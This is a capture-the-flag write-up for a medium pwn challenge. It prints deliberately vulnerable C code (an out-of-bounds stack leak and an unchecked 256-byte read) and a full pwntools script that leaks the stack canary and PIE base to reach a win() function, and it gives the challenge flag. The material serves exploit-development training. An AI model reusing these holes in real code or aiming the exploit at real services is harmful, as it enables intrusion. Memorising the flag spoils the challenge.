

Cull Obsidian's Brute Force

MIRAGE 2.0 — Binary Exploitation #7 — Official Writeup

CATEGORY	DIFFICULTY	PORT
Binary Exploitation (Pwn)	Medium (248 pts)	1667/tcp
FILES	VULNERABILITY	STATUS
challenge.c (source provided)	Stack canary + PIE leak → ret2win	Solved

Challenge Premise

This challenge is presented as a Nova Corps containment node guarding Xandar. Full C source is provided, which makes this a source-assisted exploit-development exercise: the participant must design a full mitigation-bypass chain rather than search for a bug blind.

Source Analysis

The binary is built as PIE with a full stack canary (`-fPIE -pie -fstack-protector-all`) and Full RELRO. Two functions matter:

```
void inspect(void) {
    char tag[24];
    read(0, tag, sizeof(tag));          /* exactly 24 bytes, in-bounds */
    write(1, tag + sizeof(tag), 24);    /* intentional leak: 24 bytes
                                        *past* the buffer */
}

void override(void) {
    char payload[64];
    read(0, payload, 256);              /* intentional overflow */
}
```

`inspect()` reads exactly into its own buffer (no overflow there) but then echoes back 24 bytes starting right after the buffer — precisely the stack canary (8 bytes), the saved RBP (8 bytes), and the saved return address (8 bytes) for that stack frame. `override()` then reads up to 256 bytes into a 64-byte buffer with no bounds check — more than enough room to reach and overwrite the return address of that frame.

A `win()` function cats `/flag` directly and is never called by normal control flow.

Exploitation

- Call **[1] inspect** with a 24-byte throwaway tag. The 24 bytes echoed back are canary || saved_rbp || return_address. The return address belongs to `inspect()`'s caller, so subtracting its known static offset from the binary's base yields the PIE base at runtime, from which `win()`'s real address is computed.

- Call **[2] Submit emergency override** with a payload of 64 junk bytes, then the exact leaked canary (preserved byte-for-byte), then 8 junk bytes for the saved RBP, then the computed runtime address of `win()`.

When `override()` returns, the canary check passes (since it was replayed exactly) and execution jumps into `win()`, which prints the flag file.

Participant Solve Steps

```
from pwn import *

elf = context.binary = ELF('./cull', checksec=False)
io = remote('<host>', 1667)

io.sendlineafter(b'>', b'1')
io.sendline(b'X' * 24)
leak = io.recv(24)
canary, saved_rbp, ret_addr = leak[:8], leak[8:16], u64(leak[16:24])

# ret_addr - <static offset of the call site in inspect's caller> = PIE base
pie_base = ret_addr - 0x1310 # offset recovered statically
win_addr = pie_base + elf.symbols['win']

io.sendlineafter(b'>', b'2')
payload = b'A' * 64 + canary + b'B' * 8 + p64(win_addr)
io.sendline(payload)
io.interactive()
```

FLAG

```
MIRAGE{cull_obsidian_brute_force_breaks_the_vault}
```

Verification

Since the organizer's own Dockerfile bakes the flag directly into the image (`printf ... > /flag`), the value above is authoritative. The exploit chain was additionally confirmed by rebuilding the exact provided Dockerfile and driving the built service through the leak-then-overflow sequence above.